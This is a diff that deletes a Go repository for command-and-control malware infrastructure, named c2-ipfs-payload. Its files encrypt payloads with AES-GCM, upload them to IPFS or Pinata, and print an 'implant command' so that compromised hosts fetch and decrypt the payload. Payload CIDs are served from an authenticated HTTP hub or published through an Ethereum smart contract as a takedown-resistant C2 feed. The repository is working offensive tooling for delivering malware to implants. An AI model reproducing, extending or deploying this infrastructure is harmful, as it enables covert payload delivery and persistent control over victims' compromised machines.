||||||
|
|
||||||
// Start HTTP server (mode A only; mode B uses console-only for contract ops)
|
|
||||||
if cfg.mode == "http" {
|
|
||||||
go server.startHTTPServer()
|
|
||||||
} else if cfg.mode == "contract" {
|
|
||||||
log.Printf("Running in contract mode — no HTTP CID hub.")
|
|
||||||
log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.")
|
|
||||||
fmt.Printf("Contract address: %s\n", cfg.contractAddr)
|
|
||||||
fmt.Printf("RPC URL: %s\n", cfg.rpcURL)
|
|
||||||
} else {
|
|
||||||
log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wait for signal
|
|
||||||
sigCh := make(chan os.Signal, 1)
|
|
||||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
|
||||||
<-sigCh
|
|
||||||
fmt.Println("\nShutting down...")
|
|
||||||
}
|
|
||||||
|
|
@ -1,87 +0,0 @@
|
||||||
// Command upload encrypts a binary, uploads it to IPFS, and prints the CID.
|
|
||||||
//
|
|
||||||
// Usage:
|
|
||||||
//
|
|
||||||
// ./upload -key <32-byte-hex-key> -file payload.bin
|
|
||||||
// ./upload -key <key> -file payload.bin -ipfs-api http://localhost:5001/api/v0
|
|
||||||
// ./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"flag"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
var (
|
|
||||||
keyHex = flag.String("key", "", "Encryption key (32-byte hex)")
|
|
||||||
filePath = flag.String("file", "", "Payload file to encrypt and upload")
|
|
||||||
ipfsAPI = flag.String("ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL")
|
|
||||||
pinataJWT = flag.String("pinata-jwt", "", "Pinata.cloud JWT (alternative upload)")
|
|
||||||
noUpload = flag.Bool("no-upload", false, "Only encrypt locally, skip IPFS")
|
|
||||||
output = flag.String("output", "", "Output file (default: <file>.enc)")
|
|
||||||
)
|
|
||||||
flag.Parse()
|
|
||||||
|
|
||||||
if *keyHex == "" {
|
|
||||||
log.Fatal("--key is required (32-byte hex key)")
|
|
||||||
}
|
|
||||||
if *filePath == "" {
|
|
||||||
log.Fatal("--file is required")
|
|
||||||
}
|
|
||||||
|
|
||||||
data, err := os.ReadFile(*filePath)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Failed to read payload file: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
key, err := crypto.HexToKey(*keyHex)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Invalid key: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
encrypted, err := crypto.Encrypt(data, key)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Encryption failed: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
outFile := *output
|
|
||||||
if outFile == "" {
|
|
||||||
base := filepath.Base(*filePath)
|
|
||||||
outFile = base + ".enc"
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := os.WriteFile(outFile, encrypted, 0644); err != nil {
|
|
||||||
log.Fatalf("Failed to write encrypted file: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Printf("✅ Encrypted payload saved: %s (%d bytes)\n", outFile, len(encrypted))
|
|
||||||
|
|
||||||
if *noUpload {
|
|
||||||
fmt.Println("Skipping IPFS upload (-no-upload flag)")
|
|
||||||
fmt.Println("\nManual steps:")
|
|
||||||
fmt.Println(" 1. ipfs add", outFile)
|
|
||||||
fmt.Println(" 2. Use the CID: cid <cid>")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
client := ipfs.NewClient(*ipfsAPI, *pinataJWT)
|
|
||||||
resp, err := client.Upload(encrypted, filepath.Base(outFile))
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("IPFS upload failed: %v\n", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
fmt.Printf("✅ Uploaded to IPFS!\n")
|
|
||||||
fmt.Printf(" CID: %s\n", resp.CID)
|
|
||||||
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
|
||||||
fmt.Println("\nNext steps:")
|
|
||||||
fmt.Println(" 1. On the server console, run: cid", resp.CID)
|
|
||||||
fmt.Println(" 2. Or deploy directly: deploy", *filePath)
|
|
||||||
fmt.Println("\nImplant command:")
|
|
||||||
fmt.Printf(" ./client --cid-source <hub-url> --decryption-key %s\n", *keyHex)
|
|
||||||
}
|
|
||||||
|
|
@ -1,2 +0,0 @@
|
||||||
go 1.26
|
|
||||||
module github.com/churchofmalware/c2-ipfs-payload
|
|
||||||
|
|
@ -1,65 +0,0 @@
|
||||||
// Package auth provides simple HTTP basic authentication middleware for the CID hub.
|
|
||||||
package auth
|
|
||||||
|
|
||||||
import (
|
|
||||||
"crypto/subtle"
|
|
||||||
"net/http"
|
|
||||||
)
|
|
||||||
|
|
||||||
// BasicAuth wraps an HTTP handler with basic auth protection.
|
|
||||||
func BasicAuth(username, password string, next http.HandlerFunc) http.HandlerFunc {
|
|
||||||
return func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if username == "" {
|
|
||||||
// No auth configured
|
|
||||||
next(w, r)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
user, pass, ok := r.BasicAuth()
|
|
||||||
if !ok {
|
|
||||||
w.Header().Set("WWW-Authenticate", `Basic realm="CID Hub"`)
|
|
||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
userMatch := subtle.ConstantTimeCompare([]byte(user), []byte(username)) == 1
|
|
||||||
passMatch := subtle.ConstantTimeCompare([]byte(pass), []byte(password)) == 1
|
|
||||||
|
|
||||||
if !userMatch || !passMatch {
|
|
||||||
http.Error(w, "Forbidden", http.StatusForbidden)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
next(w, r)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// JWTAuth wraps an HTTP handler with JWT bearer token auth.
|
|
||||||
// This is a simple token comparison for HMAC-style tokens.
|
|
||||||
func JWTAuth(token string, next http.HandlerFunc) http.HandlerFunc {
|
|
||||||
return func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if token == "" {
|
|
||||||
next(w, r)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
authHeader := r.Header.Get("Authorization")
|
|
||||||
if authHeader == "" {
|
|
||||||
http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Support both "Bearer <token>" and "<token>" directly
|
|
||||||
provided := authHeader
|
|
||||||
if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
|
|
||||||
provided = authHeader[7:]
|
|
||||||
}
|
|
||||||
|
|
||||||
if subtle.ConstantTimeCompare([]byte(provided), []byte(token)) != 1 {
|
|
||||||
http.Error(w, "Forbidden", http.StatusForbidden)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
next(w, r)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1,60 +0,0 @@
|
||||||
// Package contract handles smart contract interaction for the fully
|
|
||||||
// decentralized CID feed mode (MODE B).
|
|
||||||
//
|
|
||||||
// This file only contains the interface. The actual implementation requires
|
|
||||||
// go-ethereum and is in contract_eth.go (build tag: ethereum).
|
|
||||||
package contract
|
|
||||||
|
|
||||||
import "errors"
|
|
||||||
|
|
||||||
// CIDEvent represents a NewCID event emitted by the smart contract.
|
|
||||||
type CIDEvent struct {
|
|
||||||
CID string
|
|
||||||
Sender string
|
|
||||||
Timestamp uint64
|
|
||||||
BlockNum uint64
|
|
||||||
TxHash string
|
|
||||||
}
|
|
||||||
|
|
||||||
// Watcher watches a smart contract for NewCID events.
|
|
||||||
type Watcher interface {
|
|
||||||
// Watch starts watching for new CID events. The callback is called
|
|
||||||
// for each event. Returns a channel that receives an error on failure.
|
|
||||||
Watch(callback func(CIDEvent)) (<-chan error, error)
|
|
||||||
|
|
||||||
// GetLatestCID fetches the current CID from the contract.
|
|
||||||
GetLatestCID() (string, error)
|
|
||||||
|
|
||||||
// SendCID submits a new CID to the contract (requires wallet).
|
|
||||||
SendCID(cid string, privateKeyHex string) (string, error)
|
|
||||||
|
|
||||||
// Close cleans up the watcher.
|
|
||||||
Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ErrNotCompiledWithEthereum is returned when the binary is not built with
|
|
||||||
// the ethereum build tag.
|
|
||||||
var ErrNotCompiledWithEthereum = errors.New("not compiled with -tags ethereum; rebuild with: go build -tags ethereum")
|
|
||||||
|
|
||||||
// PlaceholderWatcher returns errors requiring go-ethereum.
|
|
||||||
type PlaceholderWatcher struct{}
|
|
||||||
|
|
||||||
func (p *PlaceholderWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
|
||||||
return nil, ErrNotCompiledWithEthereum
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *PlaceholderWatcher) GetLatestCID() (string, error) {
|
|
||||||
return "", ErrNotCompiledWithEthereum
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *PlaceholderWatcher) SendCID(cid, privateKeyHex string) (string, error) {
|
|
||||||
return "", ErrNotCompiledWithEthereum
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *PlaceholderWatcher) Close() {}
|
|
||||||
|
|
||||||
// NewWatcher creates a contract watcher. If go-ethereum is not available,
|
|
||||||
// returns a placeholder that errors.
|
|
||||||
var NewWatcher func(rpcURL, contractAddr string) (Watcher, error) = func(rpcURL, contractAddr string) (Watcher, error) {
|
|
||||||
return &PlaceholderWatcher{}, ErrNotCompiledWithEthereum
|
|
||||||
}
|
|
||||||
|
|
@ -1,264 +0,0 @@
|
||||||
//go:build ethereum
|
|
||||||
// +build ethereum
|
|
||||||
|
|
||||||
package contract
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"crypto/ecdsa"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"math/big"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/ethereum/go-ethereum"
|
|
||||||
"github.com/ethereum/go-ethereum/accounts/abi"
|
|
||||||
"github.com/ethereum/go-ethereum/common"
|
|
||||||
"github.com/ethereum/go-ethereum/core/types"
|
|
||||||
"github.com/ethereum/go-ethereum/crypto"
|
|
||||||
"github.com/ethereum/go-ethereum/ethclient"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ContractABI is the minimal ABI for the CID feed contract.
|
|
||||||
const ContractABI = `[
|
|
||||||
{
|
|
||||||
"anonymous": false,
|
|
||||||
"inputs": [
|
|
||||||
{"indexed": true, "name": "sender", "type": "address"},
|
|
||||||
{"indexed": false, "name": "cid", "type": "string"},
|
|
||||||
{"indexed": false, "name": "timestamp", "type": "uint256"}
|
|
||||||
],
|
|
||||||
"name": "NewCID",
|
|
||||||
"type": "event"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"inputs": [],
|
|
||||||
"name": "latestCID",
|
|
||||||
"outputs": [{"name": "", "type": "string"}],
|
|
||||||
"stateMutability": "view",
|
|
||||||
"type": "function"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"inputs": [{"name": "_cid", "type": "string"}],
|
|
||||||
"name": "publishCID",
|
|
||||||
"outputs": [],
|
|
||||||
"stateMutability": "nonpayable",
|
|
||||||
"type": "function"
|
|
||||||
}
|
|
||||||
]`
|
|
||||||
|
|
||||||
// EthWatcher implements Watcher using go-ethereum.
|
|
||||||
type EthWatcher struct {
|
|
||||||
client *ethclient.Client
|
|
||||||
contractAddr common.Address
|
|
||||||
contractABI abi.ABI
|
|
||||||
lastBlock uint64
|
|
||||||
ctx context.Context
|
|
||||||
cancel context.CancelFunc
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewEthWatcher creates a new Ethereum contract watcher.
|
|
||||||
func init() {
|
|
||||||
NewWatcher = func(rpcURL, contractAddr string) (Watcher, error) {
|
|
||||||
return NewEthWatcher(rpcURL, contractAddr)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewEthWatcher creates a new Ethereum contract watcher.
|
|
||||||
func NewEthWatcher(rpcURL, contractAddr string) (*EthWatcher, error) {
|
|
||||||
client, err := ethclient.Dial(rpcURL)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to connect to Ethereum node: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
parsedABI, err := abi.JSON(strings.NewReader(ContractABI))
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to parse contract ABI: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
ctx, cancel := context.WithCancel(context.Background())
|
|
||||||
|
|
||||||
return &EthWatcher{
|
|
||||||
client: client,
|
|
||||||
contractAddr: common.HexToAddress(contractAddr),
|
|
||||||
contractABI: parsedABI,
|
|
||||||
ctx: ctx,
|
|
||||||
cancel: cancel,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Watch watches the contract for NewCID events.
|
|
||||||
func (w *EthWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
|
||||||
errCh := make(chan error, 1)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
pollInterval := 15 * time.Second
|
|
||||||
ticker := time.NewTicker(pollInterval)
|
|
||||||
defer ticker.Stop()
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-w.ctx.Done():
|
|
||||||
return
|
|
||||||
case <-ticker.C:
|
|
||||||
if err := w.pollEvents(callback); err != nil {
|
|
||||||
log.Printf("Event poll error: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
return errCh, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// pollEvents checks for new events since the last seen block.
|
|
||||||
func (w *EthWatcher) pollEvents(callback func(CIDEvent)) error {
|
|
||||||
header, err := w.client.HeaderByNumber(w.ctx, nil)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("failed to get block header: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
currentBlock := header.Number.Uint64()
|
|
||||||
if currentBlock <= w.lastBlock {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
fromBlock := w.lastBlock
|
|
||||||
if fromBlock == 0 {
|
|
||||||
fromBlock = currentBlock - 100 // Look back 100 blocks on first poll
|
|
||||||
}
|
|
||||||
|
|
||||||
// Build query
|
|
||||||
eventSig := crypto.Keccak256Hash([]byte("NewCID(address,string,uint256)"))
|
|
||||||
query := ethereum.FilterQuery{
|
|
||||||
FromBlock: big.NewInt(int64(fromBlock)),
|
|
||||||
ToBlock: big.NewInt(int64(currentBlock)),
|
|
||||||
Addresses: []common.Address{w.contractAddr},
|
|
||||||
Topics: [][]common.Hash{{eventSig}},
|
|
||||||
}
|
|
||||||
|
|
||||||
logs, err := w.client.FilterLogs(w.ctx, query)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("failed to filter logs: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, vLog := range logs {
|
|
||||||
event, err := w.parseEvent(vLog)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("Failed to parse event: %v", err)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
callback(event)
|
|
||||||
}
|
|
||||||
|
|
||||||
w.lastBlock = currentBlock
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseEvent parses a NewCID event from a raw log.
|
|
||||||
func (w *EthWatcher) parseEvent(vLog types.Log) (CIDEvent, error) {
|
|
||||||
var event struct {
|
|
||||||
Sender common.Address
|
|
||||||
CID string
|
|
||||||
Timestamp *big.Int
|
|
||||||
}
|
|
||||||
|
|
||||||
err := w.contractABI.UnpackIntoInterface(&event, "NewCID", vLog.Data)
|
|
||||||
if err != nil {
|
|
||||||
return CIDEvent{}, fmt.Errorf("failed to unpack event data: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return CIDEvent{
|
|
||||||
CID: event.CID,
|
|
||||||
Sender: event.Sender.Hex(),
|
|
||||||
Timestamp: event.Timestamp.Uint64(),
|
|
||||||
BlockNum: vLog.BlockNumber,
|
|
||||||
TxHash: vLog.TxHash.Hex(),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetLatestCID fetches the current CID from the contract.
|
|
||||||
func (w *EthWatcher) GetLatestCID() (string, error) {
|
|
||||||
result, err := w.contractABI.Pack("latestCID")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to pack call: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
msg := ethereum.CallMsg{
|
|
||||||
To: &w.contractAddr,
|
|
||||||
Data: result,
|
|
||||||
}
|
|
||||||
|
|
||||||
output, err := w.client.CallContract(w.ctx, msg, nil)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("contract call failed: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var cid string
|
|
||||||
if err := w.contractABI.UnpackIntoInterface(&cid, "latestCID", output); err != nil {
|
|
||||||
return "", fmt.Errorf("failed to unpack response: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return cid, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// SendCID submits a new CID to the contract.
|
|
||||||
func (w *EthWatcher) SendCID(cid string, privateKeyHex string) (string, error) {
|
|
||||||
privateKey, err := crypto.HexToECDSA(privateKeyHex)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("invalid private key: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
publicKey := privateKey.Public()
|
|
||||||
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
|
|
||||||
if !ok {
|
|
||||||
return "", fmt.Errorf("failed to get public key")
|
|
||||||
}
|
|
||||||
|
|
||||||
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
|
|
||||||
|
|
||||||
nonce, err := w.client.PendingNonceAt(w.ctx, fromAddress)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to get nonce: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
gasPrice, err := w.client.SuggestGasPrice(w.ctx)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to get gas price: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Pack the function call
|
|
||||||
data, err := w.contractABI.Pack("publishCID", cid)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to pack function call: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
gasLimit := uint64(200000) // reasonable estimate
|
|
||||||
|
|
||||||
tx := types.NewTransaction(nonce, w.contractAddr, big.NewInt(0), gasLimit, gasPrice, data)
|
|
||||||
|
|
||||||
chainID, err := w.client.NetworkID(w.ctx)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to get chain ID: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to sign transaction: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := w.client.SendTransaction(w.ctx, signedTx); err != nil {
|
|
||||||
return "", fmt.Errorf("failed to send transaction: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return signedTx.Hash().Hex(), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Close cleans up the watcher.
|
|
||||||
func (w *EthWatcher) Close() {
|
|
||||||
w.cancel()
|
|
||||||
if w.client != nil {
|
|
||||||
w.client.Close()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1,143 +0,0 @@
|
||||||
// Package crypto handles payload encryption and decryption.
|
|
||||||
// Uses AES-256-GCM for authenticated encryption.
|
|
||||||
package crypto
|
|
||||||
|
|
||||||
import (
|
|
||||||
"crypto/aes"
|
|
||||||
"crypto/cipher"
|
|
||||||
"crypto/rand"
|
|
||||||
"crypto/sha256"
|
|
||||||
"encoding/hex"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
// KeySize is the AES-256 key size in bytes.
|
|
||||||
KeySize = 32
|
|
||||||
|
|
||||||
// NonceSize is the GCM nonce size.
|
|
||||||
NonceSize = 12
|
|
||||||
)
|
|
||||||
|
|
||||||
// DeriveKey derives a 32-byte AES-256 key from an arbitrary passphrase.
|
|
||||||
// Uses SHA-256 as the KDF (simple; for production use Argon2).
|
|
||||||
func DeriveKey(passphrase string) []byte {
|
|
||||||
h := sha256.Sum256([]byte(passphrase))
|
|
||||||
return h[:]
|
|
||||||
}
|
|
||||||
|
|
||||||
// Encrypt encrypts plaintext using AES-256-GCM with the given key.
|
|
||||||
// The key should be 32 bytes (use DeriveKey for passphrases).
|
|
||||||
// Returns: nonce || ciphertext || tag
|
|
||||||
func Encrypt(plaintext, key []byte) ([]byte, error) {
|
|
||||||
if len(key) != KeySize {
|
|
||||||
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
|
||||||
}
|
|
||||||
|
|
||||||
block, err := aes.NewCipher(key)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
aesGCM, err := cipher.NewGCM(block)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
nonce := make([]byte, NonceSize)
|
|
||||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to generate nonce: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Seal appends the encrypted data (ciphertext + tag) to nonce
|
|
||||||
ciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)
|
|
||||||
return ciphertext, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decrypt decrypts data using AES-256-GCM.
|
|
||||||
// Expects: nonce || ciphertext || tag
|
|
||||||
func Decrypt(data, key []byte) ([]byte, error) {
|
|
||||||
if len(key) != KeySize {
|
|
||||||
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(data) < NonceSize+1 {
|
|
||||||
return nil, errors.New("ciphertext too short")
|
|
||||||
}
|
|
||||||
|
|
||||||
block, err := aes.NewCipher(key)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
aesGCM, err := cipher.NewGCM(block)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
nonce := data[:NonceSize]
|
|
||||||
ciphertext := data[NonceSize:]
|
|
||||||
|
|
||||||
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("decryption failed: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return plaintext, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// EncryptHex encrypts plaintext and returns hex-encoded output.
|
|
||||||
func EncryptHex(plaintext []byte, keyHex string) (string, error) {
|
|
||||||
key, err := hex.DecodeString(keyHex)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("invalid key hex: %w", err)
|
|
||||||
}
|
|
||||||
ct, err := Encrypt(plaintext, key)
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
return hex.EncodeToString(ct), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// DecryptHex decrypts hex-encoded data and returns plaintext.
|
|
||||||
func DecryptHex(dataHex string, key []byte) ([]byte, error) {
|
|
||||||
data, err := hex.DecodeString(dataHex)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("invalid hex data: %w", err)
|
|
||||||
}
|
|
||||||
return Decrypt(data, key)
|
|
||||||
}
|
|
||||||
|
|
||||||
// HexToKey decodes a hex string into a 32-byte key.
|
|
||||||
func HexToKey(hexStr string) ([]byte, error) {
|
|
||||||
key, err := hex.DecodeString(hexStr)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("invalid hex: %w", err)
|
|
||||||
}
|
|
||||||
if len(key) != KeySize {
|
|
||||||
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
|
||||||
}
|
|
||||||
return key, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// HexToKeyWithFallback accepts either a 64-char hex key (32 bytes) or any
|
|
||||||
// passphrase and derives a key using SHA-256.
|
|
||||||
func HexToKeyWithFallback(input string) []byte {
|
|
||||||
if len(input) == 64 {
|
|
||||||
if key, err := hex.DecodeString(input); err == nil && len(key) == KeySize {
|
|
||||||
return key
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return DeriveKey(input)
|
|
||||||
}
|
|
||||||
|
|
||||||
// GenerateKey generates a random 32-byte AES-256 key and returns it as hex.
|
|
||||||
func GenerateKey() (string, error) {
|
|
||||||
key := make([]byte, KeySize)
|
|
||||||
if _, err := io.ReadFull(rand.Reader, key); err != nil {
|
|
||||||
return "", fmt.Errorf("failed to generate key: %w", err)
|
|
||||||
}
|
|
||||||
return hex.EncodeToString(key), nil
|
|
||||||
}
|
|
||||||
|
|
@ -1,270 +0,0 @@
|
||||||
// Package ipfs handles IPFS file uploads and downloads via HTTP gateways and APIs.
|
|
||||||
package ipfs
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"crypto/sha256"
|
|
||||||
"encoding/hex"
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"math/rand"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
// DefaultGateways lists public IPFS gateways for fallback.
|
|
||||||
var DefaultGateways = []string{
|
|
||||||
"https://ipfs.io/ipfs/%s",
|
|
||||||
"https://cloudflare-ipfs.com/ipfs/%s",
|
|
||||||
"https://ipfs.filebase.io/ipfs/%s",
|
|
||||||
"https://dweb.link/ipfs/%s",
|
|
||||||
"https://cf-ipfs.com/ipfs/%s",
|
|
||||||
}
|
|
||||||
|
|
||||||
// UploadResponse from IPFS API or pinning service.
|
|
||||||
type UploadResponse struct {
|
|
||||||
CID string `json:"cid"`
|
|
||||||
Name string `json:"name,omitempty"`
|
|
||||||
Size int64 `json:"size,omitempty"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// Client handles IPFS operations.
|
|
||||||
type Client struct {
|
|
||||||
apiURL string // e.g., http://localhost:5001/api/v0
|
|
||||||
pinataJWT string // optional Pinata JWT
|
|
||||||
httpClient *http.Client
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewClient creates a new IPFS client.
|
|
||||||
// If apiURL is empty, only download via gateways is supported.
|
|
||||||
func NewClient(apiURL, pinataJWT string) *Client {
|
|
||||||
return &Client{
|
|
||||||
apiURL: apiURL,
|
|
||||||
pinataJWT: pinataJWT,
|
|
||||||
httpClient: &http.Client{
|
|
||||||
Timeout: 120 * time.Second,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Upload uploads data to IPFS using the configured backend.
|
|
||||||
// Priority: local IPFS daemon API -> Pinata -> error
|
|
||||||
func (c *Client) Upload(data []byte, name string) (*UploadResponse, error) {
|
|
||||||
// Try local IPFS daemon first
|
|
||||||
if c.apiURL != "" {
|
|
||||||
resp, err := c.uploadViaDaemon(data)
|
|
||||||
if err == nil {
|
|
||||||
return resp, nil
|
|
||||||
}
|
|
||||||
// Fall through to Pinata
|
|
||||||
}
|
|
||||||
|
|
||||||
// Try Pinata
|
|
||||||
if c.pinataJWT != "" {
|
|
||||||
return c.uploadViaPinata(data, name)
|
|
||||||
}
|
|
||||||
|
|
||||||
if c.apiURL != "" {
|
|
||||||
// If we had an API URL but it failed, try to re-upload
|
|
||||||
// (already tried above and fell through)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil, fmt.Errorf("no IPFS upload backend configured (set IPFS_API_URL or PINATA_JWT)")
|
|
||||||
}
|
|
||||||
|
|
||||||
// uploadViaDaemon uploads a file via IPFS API (local daemon).
|
|
||||||
func (c *Client) uploadViaDaemon(data []byte) (*UploadResponse, error) {
|
|
||||||
url := fmt.Sprintf("%s/add", strings.TrimRight(c.apiURL, "/"))
|
|
||||||
|
|
||||||
// Create multipart form with the file
|
|
||||||
body := &bytes.Buffer{}
|
|
||||||
body.Write(data)
|
|
||||||
|
|
||||||
req, err := http.NewRequest("POST", url, body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to create request: %w", err)
|
|
||||||
}
|
|
||||||
req.Header.Set("Content-Type", "application/octet-stream")
|
|
||||||
|
|
||||||
resp, err := c.httpClient.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("IPFS API request failed: %w", err)
|
